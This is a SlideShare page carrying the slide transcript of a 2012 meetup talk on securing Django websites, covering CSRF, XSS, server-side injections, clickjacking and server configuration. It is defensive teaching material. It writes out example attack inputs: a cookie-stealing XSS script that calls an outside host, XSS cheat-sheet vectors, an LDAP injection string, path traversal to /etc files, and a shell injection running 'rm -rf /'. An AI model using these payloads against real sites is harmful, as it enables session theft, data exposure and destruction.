Building secure Django websites                                  Erik Romijn                                  erik@erik.io...
What is security?Wednesday, February 15, 12
Wednesday, February 15, 12
What is security?             Integrity             Confidentiality             AvailabilityWednesday, February 15, 12
What can                             go wrong?Wednesday, February 15, 12
Wednesday, February 15, 12
VAServWednesday, February 15, 12
How cookies and                              sessions workWednesday, February 15, 12
Cookies             Name             Data             Domain             PathWednesday, February 15, 12
Sessions             Sessions are tracked using a session ID: a secret and             unpredictable string             Se...
Some notes on sessions             Usually, sessions are database-backed             Database is safe: it can not be direc...
Cross Site Request ForgingWednesday, February 15, 12
All       What is CSRF                                ex amp                                                   is n    les...
Django’s CSRF protection             Use POST for requests that have side effects...             ... and Django will prote...
XSS injectionWednesday, February 15, 12
Practical example             Basic email form using GET             I enter cavia as my email address             The for...
Practical example             Basic email form using GET             I enter <b>cavia as my email address             The ...
Mo                                                             cku       Practical example                                ...
Practical example             Basic email form using GET             I enter <script>$(’img’)[0].attr(’src’, ‘http://erik....
GET params need not to be forms       http://9292.nl/reisadvies/station-weesp/station-         amsterdam-centraal/vertrek/...
Reflected vs. stored XSS             Previous examples are reflected XSS                   Have to trick the user into visit...
What to do against XSS             Two layers of protection:                   Escaping in output                   Set co...
Escaping in output             Django escapes template             tag output by default             Use |safe if you want...
Cookie security             HTTPOnly flag will prevent             reading cookie from JS             Other attack is Cross...
Cookie security in Django             SESSION_COOKIE_             HTTPONLY             Default True in 1.4             If ...
http://djangosnippets.org/snippets/295/Wednesday, February 15, 12
http://ha.ckers.org/xss.htmlWednesday, February 15, 12
<IMG           SRC="jav
ascript:alert(XSS);">Wednesday, February 15, 12
<IMG STYLE="xss:expr/*XSS*/                          ession(alert(XSS))">Wednesday, February 15, 12
<TABLE   BACKGROUND="javascript:alert(XSS)">Wednesday, February 15, 12
body {                               background-image:                               url(javascript:alert("XSS");)        ...
Server side injectionsWednesday, February 15, 12
Server side injections             Any place where you send data to             another system is a risk             SQL, ...
SQL injection             No concern, Django ORM             does all the proper escaping             If you don’t use it,...
LDAP injection             ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))”             Login form checks for a...
LDAP injection             ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))”             Open with user erik and...
LDAP injection             ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))”             Open with user admin)(u...
Path traversal             result = open(’/data/’+request.GET[’id’]+’ .txt’).read()             Result is later returned t...
Path traversal             result = open(’/data/’+request.GET[’id’]+’.txt’).read()             Open with id 12            ...
Path traversal             result = open(’/data/’+request.GET[’id’]+’.txt’).read()             Open with id ../../etc/secr...
Path traversal: PHP             readfile(’/data/’+$_GET[’id’]+’.txt’)             Open with id ../../etc/password%00      ...
Shell injection               files = os.popen(”ls ”+request.GET[’path’])Wednesday, February 15, 12
Shell injection             files = os.popen(”ls ”+request.GET[’path’])             Open with path /             files = o...
Shell injection             files = os.popen(”ls ”+request.GET[’path’])             Open with path /; rm -rf /            ...
Shell injection             Always use subprocess:             files = subprocess.call([”ls”, request.GET[’path’]])       ...
Validation vs escapingWednesday, February 15, 12
White       Validation vs escaping   prefer                                         listing                               ...
Other security issuesWednesday, February 15, 12
Clickjacking                             http://www.hacker9.com/clickjacking-attack-things-you-must-know.htmlWednesday, Fe...
Clickjacking & Django             Protection in Django 1.4             django.middleware.clickjacking             .XFrameO...
Jav coo                             The browser   You                                                scr kie              ...
Don’t trust the browser       def order_list(request):             orders = Order.objects.filter(user=request.user)       ...
Don’t trust the browser       def order_list(request):             orders = Order.objects.filter(user=request.user)       ...
Don’t trust the browser       def order_list(request):             orders = Order.objects.filter(user=request.user)       ...
Security testing       def test_update_succeeds:             response = self.util_url_check(url, require_login=True)      ...
Traceback (most recent call last):    File "/usr/lib/python/site-packages/django/core/servers/basehttp.py", line 219, in r...
Server securityWednesday, February 15, 12
Backups             Who runs backups?             Who runs restores?             Who keeps their backups             with ...
Web server config             Disable TRACE             Consider mod_security w/ OWAMP rules             Don’t give anythin...
Web server config             Disable access to .hg, CVS, .svn, RCS, ...             Disable access to /admin or at least r...
Other apps on same server             You can be compromised through other apps too             GEMnet was compromised by ...
SummaryWednesday, February 15, 12
Summary             Django helps out with CSRF, SQL injection and XSS             You need to take care of all other injec...
Questions?                                          Erik Romijn                                          erik@erik.io     ...
Upcoming SlideShare
Loading in...5
×

Building secure Django websites

4,371

Published on

You're better off reading the later revision of this instead: https://speakerdeck.com/erik/building-secure-django-websites

Presentation for the Dutch Django meet up in early 2012.

Published in: Technology
1 Comment
9 Likes
Statistics
Notes
No Downloads
Views
Total Views
4,371
On Slideshare
0
From Embeds
0
Number of Embeds
2
Actions
Shares
0
Downloads
0
Comments
1
Likes
9
Embeds 0
No embeds

No notes for slide
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • bankruptcy after 18 days\nsimple malware, weak passwords\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • CSRF cookie secure is new in development version\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • young and tender bamboo\n
  • \n
  • young and tender bamboo\n
  • \n
  • with xss, no need to own either website\n
  • \n
  • don&amp;#x2019;t trust headers/cookies, JS disabling\ndon&amp;#x2019;t pass important parameters\n
  • don&amp;#x2019;t trust headers/cookies, JS disabling\ndon&amp;#x2019;t pass important parameters\n
  • don&amp;#x2019;t trust headers/cookies, JS disabling\ndon&amp;#x2019;t pass important parameters\n
  • don&amp;#x2019;t trust headers/cookies, JS disabling\ndon&amp;#x2019;t pass important parameters\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • keep the backupserver w/ readonly access\n
  • keep the backupserver w/ readonly access\n
  • keep the backupserver w/ readonly access\n
  • \n
  • \n
  • \n
  • \n
  • \n
  • \n
  • Transcript of "Building secure Django websites"

    1. 1. Building secure Django websites Erik Romijn erik@erik.io @erikpubWednesday, February 15, 12
    2. 2. What is security?Wednesday, February 15, 12
    3. 3. Wednesday, February 15, 12
    4. 4. What is security? Integrity Confidentiality AvailabilityWednesday, February 15, 12
    5. 5. What can go wrong?Wednesday, February 15, 12
    6. 6. Wednesday, February 15, 12
    7. 7. VAServWednesday, February 15, 12
    8. 8. How cookies and sessions workWednesday, February 15, 12
    9. 9. Cookies Name Data Domain PathWednesday, February 15, 12
    10. 10. Sessions Sessions are tracked using a session ID: a secret and unpredictable string Session ID is stored in a cookie If I have your session ID, I have your sessionWednesday, February 15, 12
    11. 11. Some notes on sessions Usually, sessions are database-backed Database is safe: it can not be directly controlled by the client New in Django 1.4: cookie-based sessionsWednesday, February 15, 12
    12. 12. Cross Site Request ForgingWednesday, February 15, 12
    13. 13. All What is CSRF ex amp is n les! Dja ot v ngo uln erab con le Trick the user’s browser into opening a page on another website, using the user’s session <img src=”https://accounts.google.com/Logout” /> <img src=”http://djangocon.eu/cancel_ticket_confirm” /> <img src=”http://192.168.0.1/set_password?p=hamster” /> Possible with POST as wellWednesday, February 15, 12
    14. 14. Django’s CSRF protection Use POST for requests that have side effects... ... and Django will protect you Adds a secret csrf_token to every form Validates the token for every submit Limitation: subdomains can circumvent CSRF protectionWednesday, February 15, 12
    15. 15. XSS injectionWednesday, February 15, 12
    16. 16. Practical example Basic email form using GET I enter cavia as my email address The form returns an error: The email address “cavia” is not a valid email addressWednesday, February 15, 12
    17. 17. Practical example Basic email form using GET I enter <b>cavia as my email address The form returns an error: The email address “cavia” is not a valid email addressWednesday, February 15, 12
    18. 18. Mo cku Practical example is n p! d ot v jang uln oco erab n.eu le! Basic email form using GET I enter <script>alert(document.cookie)</script>cavia as my email address The form returns an error: The email address “cavia” is not a valid email addressWednesday, February 15, 12
    19. 19. Practical example Basic email form using GET I enter <script>$(’img’)[0].attr(’src’, ‘http://erik.io/xss? cookie=’+document.cookie)</script>cavia as my email address The form returns an error: The email address “cavia” is not a valid email address I now have all the cookies and can steal your sessionWednesday, February 15, 12
    20. 20. GET params need not to be forms http://9292.nl/reisadvies/station-weesp/station- amsterdam-centraal/vertrek/2012-01-05T1000 (not vulnerable)Wednesday, February 15, 12
    21. 21. Reflected vs. stored XSS Previous examples are reflected XSS Have to trick the user into visiting my link Other possibility is stored XSS Store some data which is later sent back to users, e.g. blog comments Rarer, but much more powerfulWednesday, February 15, 12
    22. 22. What to do against XSS Two layers of protection: Escaping in output Set cookies to HTTPOnly and disable TRACEWednesday, February 15, 12
    23. 23. Escaping in output Django escapes template tag output by default Use |safe if you want it disabled Not foolproof: <a class={{ var }}>...</a> Only handles <>’”&Wednesday, February 15, 12
    24. 24. Cookie security HTTPOnly flag will prevent reading cookie from JS Other attack is Cross Site Tracing (XST): disable TRACE on your web server Note: if cookie domain is set to e.g. djangocon.eu, every website under djangocon.eu is a riskWednesday, February 15, 12
    25. 25. Cookie security in Django SESSION_COOKIE_ HTTPONLY Default True in 1.4 If always HTTPS: CSRF_COOKIE_SECURE and SESSION_COOKIE_ SECUREWednesday, February 15, 12
    26. 26. http://djangosnippets.org/snippets/295/Wednesday, February 15, 12
    27. 27. http://ha.ckers.org/xss.htmlWednesday, February 15, 12
    28. 28. <IMG SRC="jav ascript:alert(XSS);">Wednesday, February 15, 12
    29. 29. <IMG STYLE="xss:expr/*XSS*/ ession(alert(XSS))">Wednesday, February 15, 12
    30. 30. <TABLE BACKGROUND="javascript:alert(XSS)">Wednesday, February 15, 12
    31. 31. body { background-image: url(javascript:alert("XSS");) }Wednesday, February 15, 12
    32. 32. Server side injectionsWednesday, February 15, 12
    33. 33. Server side injections Any place where you send data to another system is a risk SQL, LDAP, XPATH, shell calls, file paths, email headers... Always escapeWednesday, February 15, 12
    34. 34. SQL injection No concern, Django ORM does all the proper escaping If you don’t use it, stick to prepared statementsWednesday, February 15, 12
    35. 35. LDAP injection ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))” Login form checks for any rows returnedWednesday, February 15, 12
    36. 36. LDAP injection ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))” Open with user erik and password capibara ldap_query = “(&(uid=erik)(userPassword=capibara))”Wednesday, February 15, 12
    37. 37. LDAP injection ldap_query = “(&(uid=”+user+”)(userPassword=”+password+”))” Open with user admin)(uid=*))(|(uid=* and password capibara ldap_query = “(&(uid=admin)(uid=*))(|(uid=*) (userPassword=capibara))”Wednesday, February 15, 12
    38. 38. Path traversal result = open(’/data/’+request.GET[’id’]+’ .txt’).read() Result is later returned to the browserWednesday, February 15, 12
    39. 39. Path traversal result = open(’/data/’+request.GET[’id’]+’.txt’).read() Open with id 12 result = open(’/data/12.txt’).read()Wednesday, February 15, 12
    40. 40. Path traversal result = open(’/data/’+request.GET[’id’]+’.txt’).read() Open with id ../../etc/secret_file result = open(’/data/../../etc/secret_file.txt’).read()Wednesday, February 15, 12
    41. 41. Path traversal: PHP readfile(’/data/’+$_GET[’id’]+’.txt’) Open with id ../../etc/password%00 readfile(’/data/../../etc/password␀.txt’)Wednesday, February 15, 12
    42. 42. Shell injection files = os.popen(”ls ”+request.GET[’path’])Wednesday, February 15, 12
    43. 43. Shell injection files = os.popen(”ls ”+request.GET[’path’]) Open with path / files = os.popen(”ls /”)Wednesday, February 15, 12
    44. 44. Shell injection files = os.popen(”ls ”+request.GET[’path’]) Open with path /; rm -rf / files = os.popen(”ls /; rm -rf /”)Wednesday, February 15, 12
    45. 45. Shell injection Always use subprocess: files = subprocess.call([”ls”, request.GET[’path’]]) But not like this: files = subprocess.call([”ls ”+request.GET[’path’]], shell=True) Beware of the argument parsing of the scriptWednesday, February 15, 12
    46. 46. Validation vs escapingWednesday, February 15, 12
    47. 47. White Validation vs escaping prefer listing red ov blackl er isting Preventing special Checking whether the characters from causing input is valid trouble A postal code must be Different set of characters ^d{4}[A-Z]{2}$ for every system (SQL, HTML, ...) Done as early as possible Done as late as possibleWednesday, February 15, 12
    48. 48. Other security issuesWednesday, February 15, 12
    49. 49. Clickjacking http://www.hacker9.com/clickjacking-attack-things-you-must-know.htmlWednesday, February 15, 12
    50. 50. Clickjacking & Django Protection in Django 1.4 django.middleware.clickjacking .XFrameOptionsMiddleware Recommended: X_FRAME_OPTIONS = DENYWednesday, February 15, 12
    51. 51. Jav coo The browser You scr kie ipt va ... lid s, . ati on ,Wednesday, February 15, 12
    52. 52. Don’t trust the browser def order_list(request): orders = Order.objects.filter(user=request.user) return render_to_response(order_list.html, { "order_list": orders, }) @require_POST def cancel_order(request, order_id): order = get_object_or_404(Order, pk=order_id) order.status = "CANCELLED" order.save() return HttpResponseRedirect(reverse(dashboard))Wednesday, February 15, 12
    53. 53. Don’t trust the browser def order_list(request): orders = Order.objects.filter(user=request.user) return render_to_response(order_list.html, { "order_list": orders, }) @require_POST def cancel_order(request, order_id): order = get_object_or_404(Order, pk=order_id) order.status = "CANCELLED" order.save() return HttpResponseRedirect(reverse(dashboard))Wednesday, February 15, 12
    54. 54. Don’t trust the browser def order_list(request): orders = Order.objects.filter(user=request.user) return render_to_response(order_list.html, { "order_list": orders, }) @require_POST def cancel_order(request, order_id): order = get_object_or_404(Order, pk=order_id, user=request.user) order.status = "CANCELLED" order.save() return HttpResponseRedirect(reverse(dashboard))Wednesday, February 15, 12
    55. 55. Security testing def test_update_succeeds: response = self.util_url_check(url, require_login=True) def test_update_fails_without_auth: # attempt to edit without being authorised for this object response = self.util_url_check(url, require_login=True, expected_code=404) def test_admin_activate: response = self.util_url_check(url, require_staff=True)Wednesday, February 15, 12
    56. 56. Traceback (most recent call last): File "/usr/lib/python/site-packages/django/core/servers/basehttp.py", line 219, in run self.result = application(self.environ, self.start_response) File "/usr/lib/python/site-packages/django/core/servers/basehttp.py", line 631, in __call__ return self.application(environ, start_response) File "/usr/lib/python/site-packages/django/core/handlers/wsgi.py", line 201, in __call__ response = self.get_response(request) File "/usr/lib/python/site-packages/django/core/handlers/base.py", line 134, in get_response return debug.technical_404_response(request, e) File "/usr/lib/python/site-packages/django/views/debug.py", line 255, in technical_404_response tried = exception.args[0][tried] KeyError: tried [1/Jan/2012 10:51:26] "GET http://proxyjudge1.proxyfire.net/fastenv HTTP/1.1" 500 877Wednesday, February 15, 12
    57. 57. Server securityWednesday, February 15, 12
    58. 58. Backups Who runs backups? Who runs restores? Who keeps their backups with a different provider?Wednesday, February 15, 12
    59. 59. Web server config Disable TRACE Consider mod_security w/ OWAMP rules Don’t give anything away about software versions Don’t ever run Django in DEBUGWednesday, February 15, 12
    60. 60. Web server config Disable access to .hg, CVS, .svn, RCS, ... Disable access to /admin or at least rename it <Directory ~ “.svn”> Order allow,deny Deny from all </Directory> RedirectMatch 404 /.svn(/|$)Wednesday, February 15, 12
    61. 61. Other apps on same server You can be compromised through other apps too GEMnet was compromised by PHPMyAdmin without password Always restrict database access per app In case of domain cookies, this goes for any website under your domainWednesday, February 15, 12
    62. 62. SummaryWednesday, February 15, 12
    63. 63. Summary Django helps out with CSRF, SQL injection and XSS You need to take care of all other injection attacks Use the built-in Django security features Never trust the browser and anything it sends Don’t forget to secure the web server as wellWednesday, February 15, 12
    64. 64. Questions? Erik Romijn erik@erik.io @erikpubWednesday, February 15, 12

    ×